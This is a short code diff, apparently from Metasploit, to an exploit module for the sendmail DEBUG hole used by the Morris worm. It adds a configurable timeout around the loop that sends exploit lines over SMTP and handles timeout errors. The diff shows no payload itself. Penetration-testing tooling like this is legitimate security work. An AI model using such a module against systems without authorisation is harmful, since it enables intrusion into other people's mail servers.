Add a better timeout than expect can provide

modules/exploits/unix/smtp/morris_sendmail_debug.rb

@@ -46,6 +46,10 @@ def initialize(info = {})
     ))
 
     register_options([Opt::RPORT(25)])
+
+    register_advanced_options([
+      OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5])
+    ])
   end
 
   def check
@@ -106,20 +110,24 @@ def exploit
 
     print_status('Enabling debug mode and sending exploit')
     sploit.each do |line, pattern|
-      if line
-        print_status("Sending: #{line}")
-        sock.put("#{line}\r\n")
-      end
-      if pattern
-        vprint_status("Expecting: #{pattern.inspect}")
-        sock.expect(pattern) do |pat|
-          return unless pat
-          vprint_good("Received: #{pat.first}")
+      Timeout.timeout(datastore['SendExpectTimeout']) do
+        if line
+          print_status("Sending: #{line}")
+          sock.put("#{line}\r\n")
+        end
+        if pattern
+          vprint_status("Expecting: #{pattern.inspect}")
+          sock.expect(pattern) do |pat|
+            return unless pat
+            vprint_good("Received: #{pat.first}")
+          end
         end
       end
     end
   rescue Rex::ConnectionError => e
     fail_with(Failure::Unreachable, e.message)
+  rescue Timeout::Error
+    fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
   ensure
     disconnect
   end